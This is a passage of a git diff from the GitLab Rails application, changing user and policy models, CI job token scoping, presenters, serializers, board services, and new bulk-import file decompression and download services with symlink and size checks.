- has_many :expired_today_and_unnotified_keys, -> { expired_today_and_not_notified }, class_name: 'Key'
+ has_many :expired_and_unnotified_keys, -> { expired_and_not_notified }, class_name: 'Key'
has_many :expiring_soon_and_unnotified_keys, -> { expiring_soon_and_not_notified }, class_name: 'Key'
has_many :deploy_keys, -> { where(type: 'DeployKey') }, dependent: :nullify # rubocop:disable Cop/ActiveRecordDependent
has_many :group_deploy_keys
@@ -315,10 +312,11 @@ class User < ApplicationRecord
delegate :other_role, :other_role=, to: :user_detail, allow_nil: true
delegate :bio, :bio=, :bio_html, to: :user_detail, allow_nil: true
delegate :webauthn_xid, :webauthn_xid=, to: :user_detail, allow_nil: true
+ delegate :pronouns, :pronouns=, to: :user_detail, allow_nil: true
accepts_nested_attributes_for :user_preference, update_only: true
accepts_nested_attributes_for :user_detail, update_only: true
- accepts_nested_attributes_for :credit_card_validation, update_only: true
+ accepts_nested_attributes_for :credit_card_validation, update_only: true, allow_destroy: true
state_machine :state, initial: :active do
event :block do
@@ -414,14 +412,7 @@ class User < ApplicationRecord
.without_impersonation
.expired_today_and_not_notified)
end
- scope :with_ssh_key_expired_today, -> do
- includes(:expired_today_and_unnotified_keys)
- .where('EXISTS (?)',
- ::Key
- .select(1)
- .where('keys.user_id = users.id')
- .expired_today_and_not_notified)
- end
+
scope :with_ssh_key_expiring_soon, -> do
includes(:expiring_soon_and_unnotified_keys)
.where('EXISTS (?)',
@@ -791,6 +782,16 @@ class User < ApplicationRecord
end
end
+ def automation_bot
+ email_pattern = "automation%s@#{Settings.gitlab.host}"
+
+ unique_internal(where(user_type: :automation_bot), 'automation-bot', email_pattern) do |u|
+ u.bio = 'The GitLab automation bot used for automated workflows and tasks'
+ u.name = 'GitLab Automation Bot'
+ u.avatar = bot_avatar(image: 'support-bot.png') # todo: add an avatar for automation-bot
+ end
+ end
+
# Return true if there is only single non-internal user in the deployment,
# ghost user is ignored.
def single_user?
@@ -1703,12 +1704,6 @@ class User < ApplicationRecord
def invalidate_issue_cache_counts
Rails.cache.delete(['users', id, 'assigned_open_issues_count'])
-
- if Feature.enabled?(:assigned_open_issues_cache, default_enabled: :yaml)
- run_after_commit do
- Users::UpdateOpenIssueCountWorker.perform_async(self.id)
- end
- end
end
def invalidate_merge_request_cache_counts
@@ -1928,6 +1923,20 @@ class User < ApplicationRecord
confirmed? && !blocked? && !ghost?
end
+ # This attribute hosts a Ci::JobToken::Scope object which is set when
+ # the user is authenticated successfully via CI_JOB_TOKEN.
+ def ci_job_token_scope
+ Gitlab::SafeRequestStore[ci_job_token_scope_cache_key]
+ end
+
+ def set_ci_job_token_scope!(job)
+ Gitlab::SafeRequestStore[ci_job_token_scope_cache_key] = Ci::JobToken::Scope.new(job.project)
+ end
+
+ def from_ci_job_token?
+ ci_job_token_scope.present?
+ end
+
protected
# override, from Devise::Validatable
@@ -2091,6 +2100,10 @@ class User < ApplicationRecord
def update_highest_role_attribute
id
end
+
+ def ci_job_token_scope_cache_key
+ "users:#{id}:ci:job_token_scope"
+ end
end
User.prepend_mod_with('User')
diff --git a/app/models/user_callout.rb b/app/models/user_callout.rb
index 8fc9efddac9..2e8ff1b7b49 100644
--- a/app/models/user_callout.rb
+++ b/app/models/user_callout.rb
@@ -16,9 +16,7 @@ class UserCallout < ApplicationRecord
tabs_position_highlight: 10,
threat_monitoring_info: 11, # EE-only
account_recovery_regular_check: 12, # EE-only
- webhooks_moved: 13,
service_templates_deprecated_callout: 14,
- admin_integrations_moved: 15,
web_ide_alert_dismissed: 16, # no longer in use
active_user_count_threshold: 18, # EE-only
buy_pipeline_minutes_notification_dot: 19, # EE-only
@@ -32,7 +30,8 @@ class UserCallout < ApplicationRecord
eoa_bronze_plan_banner: 28, # EE-only
pipeline_needs_banner: 29,
pipeline_needs_hover_tip: 30,
- web_ide_ci_environments_guidance: 31
+ web_ide_ci_environments_guidance: 31,
+ security_configuration_upgrade_banner: 32
}
validates :user, presence: true
diff --git a/app/models/user_detail.rb b/app/models/user_detail.rb
index 458764632ed..47537e5885f 100644
--- a/app/models/user_detail.rb
+++ b/app/models/user_detail.rb
@@ -6,6 +6,7 @@ class UserDetail < ApplicationRecord
belongs_to :user
+ validates :pronouns, length: { maximum: 50 }
validates :job_title, length: { maximum: 200 }
validates :bio, length: { maximum: 255 }, allow_blank: true
diff --git a/app/models/users/in_product_marketing_email.rb b/app/models/users/in_product_marketing_email.rb
index 195cfe162ac..3e5e7b259d8 100644
--- a/app/models/users/in_product_marketing_email.rb
+++ b/app/models/users/in_product_marketing_email.rb
@@ -18,7 +18,8 @@ module Users
create: 0,
verify: 1,
trial: 2,
- team: 3
+ team: 3,
+ experience: 4
}, _suffix: true
scope :without_track_and_series, -> (track, series) do
diff --git a/app/policies/concerns/policy_actor.rb b/app/policies/concerns/policy_actor.rb
index 08a26da6673..cbc34bdeed3 100644
--- a/app/policies/concerns/policy_actor.rb
+++ b/app/policies/concerns/policy_actor.rb
@@ -84,6 +84,10 @@ module PolicyActor
def password_expired?
false
end
+
+ def from_ci_job_token?
+ false
+ end
end
PolicyActor.prepend_mod_with('PolicyActor')
diff --git a/app/policies/global_policy.rb b/app/policies/global_policy.rb
index 73757891cd6..35d38bac7fa 100644
--- a/app/policies/global_policy.rb
+++ b/app/policies/global_policy.rb
@@ -115,6 +115,7 @@ class GlobalPolicy < BasePolicy
enable :approve_user
enable :reject_user
enable :read_usage_trends_measurement
+ enable :update_runners_registration_token
end
# We can't use `read_statistics` because the user may have different permissions for different projects
diff --git a/app/policies/group_policy.rb b/app/policies/group_policy.rb
index 821fabec266..ba06b98e906 100644
--- a/app/policies/group_policy.rb
+++ b/app/policies/group_policy.rb
@@ -131,7 +131,6 @@ class GroupPolicy < BasePolicy
enable :read_prometheus
enable :read_package
enable :read_package_settings
- enable :read_group_timelogs
end
rule { maintainer }.policy do
@@ -145,6 +144,7 @@ class GroupPolicy < BasePolicy
enable :admin_cluster
enable :read_deploy_token
enable :create_jira_connect_subscription
+ enable :update_runners_registration_token
end
rule { owner }.policy do
@@ -155,6 +155,7 @@ class GroupPolicy < BasePolicy
enable :set_note_created_at
enable :set_emails_disabled
+ enable :change_prevent_sharing_groups_outside_hierarchy
enable :update_default_branch_protection
enable :create_deploy_token
enable :destroy_deploy_token
diff --git a/app/policies/issue_policy.rb b/app/policies/issue_policy.rb
index 6eec03d6d75..e58179e320d 100644
--- a/app/policies/issue_policy.rb
+++ b/app/policies/issue_policy.rb
@@ -15,6 +15,9 @@ class IssuePolicy < IssuablePolicy
desc "Issue is confidential"
condition(:confidential, scope: :subject) { @subject.confidential? }
+ desc "Issue is persisted"
+ condition(:persisted, scope: :subject) { @subject.persisted? }
+
rule { confidential & ~can_read_confidential }.policy do
prevent(*create_read_update_admin_destroy(:issue))
prevent :read_issue_iid
@@ -38,6 +41,15 @@ class IssuePolicy < IssuablePolicy
rule { ~anonymous & can?(:read_issue) }.policy do
enable :create_todo
+ enable :update_subscription
+ end
+
+ rule { ~persisted & can?(:guest_access) }.policy do
+ enable :set_issue_metadata
+ end
+
+ rule { persisted & can?(:admin_issue) }.policy do
+ enable :set_issue_metadata
end
end
diff --git a/app/policies/merge_request_policy.rb b/app/policies/merge_request_policy.rb
index e53a916f3ca..96002d98afe 100644
--- a/app/policies/merge_request_policy.rb
+++ b/app/policies/merge_request_policy.rb
@@ -20,6 +20,7 @@ class MergeRequestPolicy < IssuablePolicy
rule { ~anonymous & can?(:read_merge_request) }.policy do
enable :create_todo
+ enable :update_subscription
end
condition(:can_merge) { @subject.can_be_merged_by?(@user) }
@@ -27,6 +28,10 @@ class MergeRequestPolicy < IssuablePolicy
rule { can_merge }.policy do
enable :accept_merge_request
end
+
+ rule { can?(:admin_merge_request) }.policy do
+ enable :set_merge_request_metadata
+ end
end
MergeRequestPolicy.prepend_mod_with('MergeRequestPolicy')
diff --git a/app/policies/packages/pypi/metadatum_policy.rb b/app/policies/packages/pypi/metadatum_policy.rb
new file mode 100644
index 00000000000..5cdcb613f61
--- /dev/null
+++ b/app/policies/packages/pypi/metadatum_policy.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+module Packages
+ module Pypi
+ class MetadatumPolicy < BasePolicy
+ delegate { @subject.package }
+ end
+ end
+end
diff --git a/app/policies/project_policy.rb b/app/policies/project_policy.rb
index 1ce19511bef..e93c60c3710 100644
--- a/app/policies/project_policy.rb
+++ b/app/policies/project_policy.rb
@@ -51,7 +51,11 @@ class ProjectPolicy < BasePolicy
desc "Container registry is disabled"
condition(:container_registry_disabled, scope: :subject) do
- !project.container_registry_enabled
+ if ::Feature.enabled?(:read_container_registry_access_level, @subject&.namespace, default_enabled: :yaml)
+ !access_allowed_to?(:container_registry)
+ else
+ !project.container_registry_enabled
+ end
end
desc "Project has an external wiki"
@@ -75,6 +79,11 @@ class ProjectPolicy < BasePolicy
user.is_a?(DeployToken) && user.has_access_to?(project) && user.write_package_registry
end
+ desc "If user is authenticated via CI job token then the target project should be in scope"
+ condition(:project_allowed_for_job_token) do
+ !@user&.from_ci_job_token? || @user.ci_job_token_scope.includes?(project)
+ end
+
with_scope :subject
condition(:forking_allowed) do
@subject.feature_available?(:forking, @user)
@@ -238,6 +247,7 @@ class ProjectPolicy < BasePolicy
enable :admin_issue_board
enable :download_code
enable :read_statistics
+ enable :daily_statistics
enable :download_wiki_code
enable :create_snippet
enable :update_issue
@@ -263,7 +273,6 @@ class ProjectPolicy < BasePolicy
enable :read_confidential_issues
enable :read_package
enable :read_product_analytics
- enable :read_group_timelogs
end
# We define `:public_user_access` separately because there are cases in gitlab-ee
@@ -347,7 +356,6 @@ class ProjectPolicy < BasePolicy
enable :update_deployment
enable :create_release
enable :update_release
- enable :daily_statistics
enable :create_metrics_dashboard_annotation
enable :delete_metrics_dashboard_annotation
enable :update_metrics_dashboard_annotation
@@ -411,6 +419,7 @@ class ProjectPolicy < BasePolicy
enable :update_freeze_period
enable :destroy_freeze_period
enable :admin_feature_flags_client
+ enable :update_runners_registration_token
end
rule { public_project & metrics_dashboard_allowed }.policy do
@@ -509,6 +518,8 @@ class ProjectPolicy < BasePolicy
enable :read_project_for_iids
end
+ rule { ~project_allowed_for_job_token }.prevent_all
+
rule { can?(:public_access) }.policy do
enable :read_package
enable :read_project
diff --git a/app/policies/timelog_policy.rb b/app/policies/timelog_policy.rb
index 0598817d4e0..f71c4204639 100644
--- a/app/policies/timelog_policy.rb
+++ b/app/policies/timelog_policy.rb
@@ -1,5 +1,5 @@
# frozen_string_literal: true
class TimelogPolicy < BasePolicy
- delegate { @subject.issuable.resource_parent }
+ delegate { @subject.issuable }
end
diff --git a/app/presenters/commit_status_presenter.rb b/app/presenters/commit_status_presenter.rb
index 8ef6e2b7962..e62e2fac835 100644
--- a/app/presenters/commit_status_presenter.rb
+++ b/app/presenters/commit_status_presenter.rb
@@ -25,7 +25,8 @@ class CommitStatusPresenter < Gitlab::View::Presenter::Delegated
reached_max_descendant_pipelines_depth: 'You reached the maximum depth of child pipelines',
project_deleted: 'The job belongs to a deleted project',
user_blocked: 'The user who created this job is blocked',
- ci_quota_exceeded: 'No more CI minutes available'
+ ci_quota_exceeded: 'No more CI minutes available',
+ no_matching_runner: 'No matching runner available'
}.freeze
private_constant :CALLOUT_FAILURE_MESSAGES
diff --git a/app/presenters/packages/detail/package_presenter.rb b/app/presenters/packages/detail/package_presenter.rb
index 4fa207b1205..59e50b96ab2 100644
--- a/app/presenters/packages/detail/package_presenter.rb
+++ b/app/presenters/packages/detail/package_presenter.rb
@@ -46,8 +46,8 @@ module Packages
size: package_file.size,
file_md5: package_file.file_md5,
file_sha1: package_file.file_sha1,
- file_sha256: package_file.file_sha256
-
+ file_sha256: package_file.file_sha256,
+ id: package_file.id
}
file_view[:pipelines] = build_pipeline_infos(package_file.pipelines) if package_file.pipelines.present?
diff --git a/app/presenters/packages/pypi/package_presenter.rb b/app/presenters/packages/pypi/package_presenter.rb
index 1cb11c7be1a..7997c1b9b79 100644
--- a/app/presenters/packages/pypi/package_presenter.rb
+++ b/app/presenters/packages/pypi/package_presenter.rb
@@ -7,9 +7,9 @@ module Packages
class PackagePresenter
include API::Helpers::RelatedResourcesHelpers
- def initialize(packages, project)
+ def initialize(packages, project_or_group)
@packages = packages
- @project = project
+ @project_or_group = project_or_group
end
# Returns the HTML body for PyPI simple API.
@@ -51,16 +51,27 @@ module Packages
end
def build_pypi_package_path(file)
- expose_url(
- api_v4_projects_packages_pypi_files_file_identifier_path(
- {
- id: @project.id,
- sha256: file.file_sha256,
- file_identifier: file.file_name
- },
- true
- )
- ) + "#sha256=#{file.file_sha256}"
+ params = {
+ id: @project_or_group.id,
+ sha256: file.file_sha256,
+ file_identifier: file.file_name
+ }
+
+ if project?
+ expose_url(
+ api_v4_projects_packages_pypi_files_file_identifier_path(
+ params, true
+ )
+ ) + "#sha256=#{file.file_sha256}"
+ elsif group?
+ expose_url(
+ api_v4_groups___packages_pypi_files_file_identifier_path(
+ params, true
+ )
+ ) + "#sha256=#{file.file_sha256}"
+ else
+ ''
+ end
end
def name
@@ -70,6 +81,14 @@ module Packages
def escape(str)
ERB::Util.html_escape(str)
end
+
+ def project?
+ @project_or_group.is_a?(::Project)
+ end
+
+ def group?
+ @project_or_group.is_a?(::Group)
+ end
end
end
end
diff --git a/app/presenters/project_presenter.rb b/app/presenters/project_presenter.rb
index 4f803ba34f4..fcd3189296a 100644
--- a/app/presenters/project_presenter.rb
+++ b/app/presenters/project_presenter.rb
@@ -264,7 +264,7 @@ class ProjectPresenter < Gitlab::View::Presenter::Delegated
'original_branch' => default_branch_or_main,
'can_push_code' => 'true',
'path' => project_create_blob_path(project, default_branch_or_main),
- 'project_path' => project.path
+ 'project_path' => project.full_path
}
)
end
diff --git a/app/presenters/release_presenter.rb b/app/presenters/release_presenter.rb
index aa6429ab012..ac27e997b41 100644
--- a/app/presenters/release_presenter.rb
+++ b/app/presenters/release_presenter.rb
@@ -26,32 +26,22 @@ class ReleasePresenter < Gitlab::View::Presenter::Delegated
end
def opened_merge_requests_url
- return unless release_mr_issue_urls_available?
-
project_merge_requests_url(project, params_for_issues_and_mrs)
end
def merged_merge_requests_url
- return unless release_mr_issue_urls_available?
-
project_merge_requests_url(project, params_for_issues_and_mrs(state: 'merged'))
end
def closed_merge_requests_url
- return unless release_mr_issue_urls_available?
-
project_merge_requests_url(project, params_for_issues_and_mrs(state: 'closed'))
end
def opened_issues_url
- return unless release_mr_issue_urls_available?
-
project_issues_url(project, params_for_issues_and_mrs)
end
def closed_issues_url
- return unless release_mr_issue_urls_available?
-
project_issues_url(project, params_for_issues_and_mrs(state: 'closed'))
end
@@ -89,10 +79,6 @@ class ReleasePresenter < Gitlab::View::Presenter::Delegated
{ scope: 'all', state: state, release_tag: release.tag }
end
- def release_mr_issue_urls_available?
- ::Feature.enabled?(:release_mr_issue_urls, project, default_enabled: true)
- end
-
def release_edit_page_available?
can?(current_user, :update_release, release)
end
diff --git a/app/serializers/analytics_stage_entity.rb b/app/serializers/analytics_stage_entity.rb
index eb38b90fb18..8a96eb83a3f 100644
--- a/app/serializers/analytics_stage_entity.rb
+++ b/app/serializers/analytics_stage_entity.rb
@@ -8,9 +8,5 @@ class AnalyticsStageEntity < Grape::Entity
expose :legend
expose :description
- expose :project_median, as: :value do |stage|
- # median returns a BatchLoader instance which we first have to unwrap by using to_f
- # we use to_f to make sure results below 1 are presented to the end-user
- stage.project_median.to_f.nonzero? ? distance_of_time_in_words(stage.project_median) : nil
- end
+ expose :project_median, as: :value
end
diff --git a/app/serializers/cluster_application_entity.rb b/app/serializers/cluster_application_entity.rb
index 6b9a3ce114b..f57ac4af113 100644
--- a/app/serializers/cluster_application_entity.rb
+++ b/app/serializers/cluster_application_entity.rb
@@ -10,15 +10,11 @@ class ClusterApplicationEntity < Grape::Entity
expose :hostname, if: -> (e, _) { e.respond_to?(:hostname) }
expose :email, if: -> (e, _) { e.respond_to?(:email) }
expose :stack, if: -> (e, _) { e.respond_to?(:stack) }
- expose :modsecurity_enabled, if: -> (e, _) { e.respond_to?(:modsecurity_enabled) }
expose :update_available?, as: :update_available, if: -> (e, _) { e.respond_to?(:update_available?) }
expose :can_uninstall?, as: :can_uninstall
expose :available_domains, using: Serverless::DomainEntity, if: -> (e, _) { e.respond_to?(:available_domains) }
expose :pages_domain, using: Serverless::DomainEntity, if: -> (e, _) { e.respond_to?(:pages_domain) }
- expose :modsecurity_mode, if: -> (e, _) { e.respond_to?(:modsecurity_mode) }
expose :host, if: -> (e, _) { e.respond_to?(:host) }
expose :port, if: -> (e, _) { e.respond_to?(:port) }
expose :protocol, if: -> (e, _) { e.respond_to?(:protocol) }
- expose :waf_log_enabled, if: -> (e, _) { e.respond_to?(:waf_log_enabled) }
- expose :cilium_log_enabled, if: -> (e, _) { e.respond_to?(:cilium_log_enabled) }
end
diff --git a/app/serializers/fork_namespace_entity.rb b/app/serializers/fork_namespace_entity.rb
index fbcdf91a1af..2be37d23a05 100644
--- a/app/serializers/fork_namespace_entity.rb
+++ b/app/serializers/fork_namespace_entity.rb
@@ -13,7 +13,7 @@ class ForkNamespaceEntity < Grape::Entity
end
expose :forked_project_path do |namespace, options|
- if forked_project = namespace.find_fork_of(options[:project])
+ if forked_project = options.dig(:forked_projects, namespace.id)
project_path(forked_project)
end
end
@@ -31,7 +31,11 @@ class ForkNamespaceEntity < Grape::Entity
end
expose :can_create_project do |namespace, options|
- options[:current_user].can?(:create_projects, namespace)
+ if Feature.enabled?(:fork_project_form, options[:project], default_enabled: :yaml)
+ true
+ else
+ options[:current_user].can?(:create_projects, namespace)
+ end
end
private
diff --git a/app/serializers/issue_board_entity.rb b/app/serializers/issue_board_entity.rb
index 17a36f5fb07..4b9c48f3f7c 100644
--- a/app/serializers/issue_board_entity.rb
+++ b/app/serializers/issue_board_entity.rb
@@ -17,7 +17,7 @@ class IssueBoardEntity < Grape::Entity
end
expose :project do |issue|
- API::Entities::Project.represent issue.project, only: [:id, :path]
+ API::Entities::Project.represent issue.project, only: [:id, :path, :path_with_namespace]
end
expose :milestone, if: -> (issue) { issue.milestone } do |issue|
diff --git a/app/serializers/member_serializer.rb b/app/serializers/member_serializer.rb
index 462f6be5d04..ad258b0ef1e 100644
--- a/app/serializers/member_serializer.rb
+++ b/app/serializers/member_serializer.rb
@@ -4,7 +4,7 @@ class MemberSerializer < BaseSerializer
entity MemberEntity
def represent(members, opts = {})
- Members::LastGroupOwnerAssigner.new(opts[:group], members).execute unless opts[:source].is_a?(Project)
+ LastGroupOwnerAssigner.new(opts[:group], members).execute unless opts[:source].is_a?(Project)
super(members, opts)
end
diff --git a/app/serializers/merge_request_diff_entity.rb b/app/serializers/merge_request_diff_entity.rb
index aa0ac7d2a7e..e197c3d0fbb 100644
--- a/app/serializers/merge_request_diff_entity.rb
+++ b/app/serializers/merge_request_diff_entity.rb
@@ -6,13 +6,13 @@ class MergeRequestDiffEntity < Grape::Entity
include MergeRequestsHelper
expose :version_index do |merge_request_diff|
- @merge_request_diffs = options[:merge_request_diffs]
+ merge_request_diffs = options[:merge_request_diffs]
diff = options[:merge_request_diff]
- next unless diff.present?
- next unless @merge_request_diffs.size > 1
+ next unless merge_request_diffs.include?(diff)
+ next unless merge_request_diffs.size > 1
- version_index(merge_request_diff)
+ merge_request_diffs.size - merge_request_diffs.index(merge_request_diff)
end
expose :created_at
diff --git a/app/services/authorized_project_update/periodic_recalculate_service.rb b/app/services/authorized_project_update/periodic_recalculate_service.rb
index 662d10c648b..16dc76eb4cf 100644
--- a/app/services/authorized_project_update/periodic_recalculate_service.rb
+++ b/app/services/authorized_project_update/periodic_recalculate_service.rb
@@ -9,7 +9,12 @@ module AuthorizedProjectUpdate
# Using this approach (instead of eg. User.each_batch) keeps the arguments
# the same for AuthorizedProjectUpdate::UserRefreshOverUserRangeWorker
# even if the user list changes, so we can deduplicate these jobs.
- (1..User.maximum(:id)).each_slice(BATCH_SIZE).with_index do |batch, index|
+
+ # Since UserRefreshOverUserRangeWorker has set data_consistency to delayed,
+ # a job enqueued without a delay could fail because the replica could not catch up with the primary.
+ # To prevent this, we start the index from `1` instead of `0` so as to ensure that
+ # no UserRefreshOverUserRangeWorker job is enqueued without a delay.
+ (1..User.maximum(:id)).each_slice(BATCH_SIZE).with_index(1) do |batch, index|
delay = DELAY_INTERVAL * index
AuthorizedProjectUpdate::UserRefreshOverUserRangeWorker.perform_in(delay, *batch.minmax)
end
diff --git a/app/services/authorized_project_update/project_group_link_create_service.rb b/app/services/authorized_project_update/project_group_link_create_service.rb
index 090b22a7820..e9e7c56d7c7 100644
--- a/app/services/authorized_project_update/project_group_link_create_service.rb
+++ b/app/services/authorized_project_update/project_group_link_create_service.rb
@@ -49,7 +49,7 @@ module AuthorizedProjectUpdate
def access_level(membership_access_level)
return membership_access_level unless group_access
- # access level must not be higher than the max access level set when
+ # access level (role) must not be higher than the max access level (role) set when
# creating the project share
[membership_access_level, group_access].min
end
diff --git a/app/services/authorized_project_update/project_recalculate_service.rb b/app/services/authorized_project_update/project_recalculate_service.rb
new file mode 100644
index 00000000000..cbb8efaf99f
--- /dev/null
+++ b/app/services/authorized_project_update/project_recalculate_service.rb
@@ -0,0 +1,80 @@
+# frozen_string_literal: true
+
+module AuthorizedProjectUpdate
+ class ProjectRecalculateService
+ # Service for refreshing all the authorizations to a particular project.
+ include Gitlab::Utils::StrongMemoize
+ BATCH_SIZE = 1000
+
+ def initialize(project)
+ @project = project
+ end
+
+ def execute
+ refresh_authorizations if needs_refresh?
+ ServiceResponse.success
+ end
+
+ private
+
+ attr_reader :project
+
+ def needs_refresh?
+ user_ids_to_remove.any? ||
+ authorizations_to_create.any?
+ end
+
+ def current_authorizations
+ strong_memoize(:current_authorizations) do
+ project.project_authorizations
+ .pluck(:user_id, :access_level) # rubocop: disable CodeReuse/ActiveRecord
+ end
+ end
+
+ def fresh_authorizations
+ strong_memoize(:fresh_authorizations) do
+ result = []
+
+ Projects::Members::EffectiveAccessLevelFinder.new(project)
+ .execute
+ .each_batch(of: BATCH_SIZE, column: :user_id) do |member_batch|
+ result += member_batch.pluck(:user_id, 'MAX(access_level)') # rubocop: disable CodeReuse/ActiveRecord
+ end
+
+ result
+ end
+ end
+
+ def user_ids_to_remove
+ strong_memoize(:user_ids_to_remove) do
+ (current_authorizations - fresh_authorizations)
+ .map {|user_id, _| user_id }
+ end
+ end
+
+ def authorizations_to_create
+ strong_memoize(:authorizations_to_create) do
+ (fresh_authorizations - current_authorizations).map do |user_id, access_level|
+ {
+ user_id: user_id,
+ access_level: access_level,
+ project_id: project.id
+ }
+ end
+ end
+ end
+
+ def refresh_authorizations
+ ProjectAuthorization.transaction do
+ if user_ids_to_remove.any?
+ ProjectAuthorization.where(project_id: project.id, user_id: user_ids_to_remove) # rubocop: disable CodeReuse/ActiveRecord
+ .delete_all
+ end
+
+ if authorizations_to_create.any?
+ ProjectAuthorization.insert_all(authorizations_to_create)
+ end
+ end
+ end
+ end
+end
diff --git a/app/services/authorized_project_update/recalculate_for_user_range_service.rb b/app/services/authorized_project_update/recalculate_for_user_range_service.rb
deleted file mode 100644
index f300c45f019..00000000000
--- a/app/services/authorized_project_update/recalculate_for_user_range_service.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-# frozen_string_literal: true
-
-module AuthorizedProjectUpdate
- class RecalculateForUserRangeService
- def initialize(start_user_id, end_user_id)
- @start_user_id = start_user_id
- @end_user_id = end_user_id
- end
-
- def execute
- User.where(id: start_user_id..end_user_id).select(:id).find_each do |user| # rubocop: disable CodeReuse/ActiveRecord
- Users::RefreshAuthorizedProjectsService.new(user, source: self.class.name).execute
- end
- end
-
- private
-
- attr_reader :start_user_id, :end_user_id
- end
-end
diff --git a/app/services/base_container_service.rb b/app/services/base_container_service.rb
index ee15763ce65..8492b3ce92c 100644
--- a/app/services/base_container_service.rb
+++ b/app/services/base_container_service.rb
@@ -18,4 +18,12 @@ class BaseContainerService
@current_user = current_user
@params = params.dup
end
+
+ def project_container?
+ container.is_a?(::Project)
+ end
+
+ def group_container?
+ container.is_a?(::Group)
+ end
end
diff --git a/app/services/base_count_service.rb b/app/services/base_count_service.rb
index c316c488148..ff1949ce4dd 100644
--- a/app/services/base_count_service.rb
+++ b/app/services/base_count_service.rb
@@ -27,7 +27,7 @@ class BaseCountService
end
def delete_cache
- Rails.cache.delete(cache_key)
+ ::Gitlab::Cache.delete(cache_key)
end
def raw?
@@ -49,4 +49,4 @@ class BaseCountService
end
end
-BaseCountService.prepend_mod_with('BaseCountService')
+BaseCountService.prepend_mod
diff --git a/app/services/boards/base_item_move_service.rb b/app/services/boards/base_item_move_service.rb
index 28fb1e43043..dfd0002cbc9 100644
--- a/app/services/boards/base_item_move_service.rb
+++ b/app/services/boards/base_item_move_service.rb
@@ -23,14 +23,15 @@ module Boards
end
reposition_ids = move_between_ids(params)
- if reposition_ids
- attrs[:move_between_ids] = reposition_ids
- attrs.merge!(reposition_parent)
- end
+ attrs.merge!(reposition_params(reposition_ids)) if reposition_ids
attrs
end
+ def reposition_params(reposition_ids)
+ reposition_parent.merge(move_between_ids: reposition_ids)
+ end
+
def move_single_issuable(issuable, issuable_modification_params)
ability_name = :"admin_#{issuable.to_ability_name}"
return unless can?(current_user, ability_name, issuable)
diff --git a/app/services/boards/base_items_list_service.rb b/app/services/boards/base_items_list_service.rb
index cbc7a332cbe..a3e24844587 100644
--- a/app/services/boards/base_items_list_service.rb
+++ b/app/services/boards/base_items_list_service.rb
@@ -6,9 +6,9 @@ module Boards
include ActiveRecord::ConnectionAdapters::Quoting
def execute
- return items.order_closed_date_desc if list&.closed?
+ items = init_collection
- ordered_items
+ order(items)
end
# rubocop: disable CodeReuse/ActiveRecord
@@ -17,7 +17,7 @@ module Boards
keys = metadata_fields.keys
# TODO: eliminate need for SQL literal fragment
columns = Arel.sql(metadata_fields.values_at(*keys).join(', '))
- results = item_model.where(id: items.select(issuables[:id])).pluck(columns)
+ results = item_model.where(id: init_collection.select(issuables[:id])).pluck(columns)
Hash[keys.zip(results.flatten)]
end
@@ -29,7 +29,7 @@ module Boards
{ size: 'COUNT(*)' }
end
- def ordered_items
+ def order(items)
raise NotImplementedError
end
@@ -47,8 +47,8 @@ module Boards
# We memoize the query here since the finder methods we use are quite complex. This does not memoize the result of the query.
# rubocop: disable CodeReuse/ActiveRecord
- def items
- strong_memoize(:items) do
+ def init_collection
+ strong_memoize(:init_collection) do
filter(finder.execute).reorder(nil)
end
end
diff --git a/app/services/boards/issues/list_service.rb b/app/services/boards/issues/list_service.rb
index 6284e454561..0e95bf7a434 100644
--- a/app/services/boards/issues/list_service.rb
+++ b/app/services/boards/issues/list_service.rb
@@ -11,7 +11,9 @@ module Boards
private
- def ordered_items
+ def order(items)
+ return items.order_closed_date_desc if list&.closed?
+
items.order_by_position_and_priority(with_cte: params[:search].present?)
end
diff --git a/app/services/branches/create_service.rb b/app/services/branches/create_service.rb
index 8684da701db..848e6aaa65a 100644
--- a/app/services/branches/create_service.rb
+++ b/app/services/branches/create_service.rb
@@ -2,8 +2,8 @@
module Branches
class CreateService < BaseService
- def execute(branch_name, ref, create_master_if_empty: true)
- create_master_branch if create_master_if_empty && project.empty_repo?
+ def execute(branch_name, ref, create_default_branch_if_empty: true)
+ create_default_branch if create_default_branch_if_empty && project.empty_repo?
result = ::Branches::ValidateNewService.new(project).execute(branch_name)
@@ -27,13 +27,13 @@ module Branches
private
- def create_master_branch
+ def create_default_branch
project.repository.create_file(
current_user,
'/README.md',
'',
message: 'Add README.md',
- branch_name: 'master'
+ branch_name: project.default_branch_or_main
)
end
end
diff --git a/app/services/bulk_imports/file_decompression_service.rb b/app/services/bulk_imports/file_decompression_service.rb
new file mode 100644
index 00000000000..fe9017377ec
--- /dev/null
+++ b/app/services/bulk_imports/file_decompression_service.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+module BulkImports
+ class FileDecompressionService
+ include Gitlab::ImportExport::CommandLineUtil
+
+ ServiceError = Class.new(StandardError)
+
+ def initialize(dir:, filename:)
+ @dir = dir
+ @filename = filename
+ @filepath = File.join(@dir, @filename)
+ @decompressed_filename = File.basename(@filename, '.gz')
+ @decompressed_filepath = File.join(@dir, @decompressed_filename)
+ end
+
+ def execute
+ validate_dir
+ validate_decompressed_file_size if Feature.enabled?(:validate_import_decompressed_archive_size, default_enabled: :yaml)
+ validate_symlink(filepath)
+
+ decompress_file
+
+ validate_symlink(decompressed_filepath)
+
+ filepath
+ rescue StandardError => e
+ File.delete(filepath) if File.exist?(filepath)
+ File.delete(decompressed_filepath) if File.exist?(decompressed_filepath)
+
+ raise e
+ end
+
+ private
+
+ attr_reader :dir, :filename, :filepath, :decompressed_filename, :decompressed_filepath
+
+ def validate_dir
+ raise(ServiceError, 'Invalid target directory') unless dir.start_with?(Dir.tmpdir)
+ end
+
+ def validate_decompressed_file_size
+ raise(ServiceError, 'File decompression error') unless size_validator.valid?
+ end
+
+ def validate_symlink(filepath)
+ raise(ServiceError, 'Invalid file') if File.lstat(filepath).symlink?
+ end
+
+ def decompress_file
+ gunzip(dir: dir, filename: filename)
+ end
+
+ def size_validator
+ @size_validator ||= Gitlab::ImportExport::DecompressedArchiveSizeValidator.new(archive_path: filepath)
+ end
+ end
+end
diff --git a/app/services/bulk_imports/file_download_service.rb b/app/services/bulk_imports/file_download_service.rb
new file mode 100644
index 00000000000..c5a1241e0a4
--- /dev/null
+++ b/app/services/bulk_imports/file_download_service.rb
@@ -0,0 +1,102 @@
+# frozen_string_literal: true
+
+module BulkImports
+ class FileDownloadService
+ FILE_SIZE_LIMIT = 5.gigabytes
+ ALLOWED_CONTENT_TYPES = %w(application/gzip application/octet-stream).freeze
+
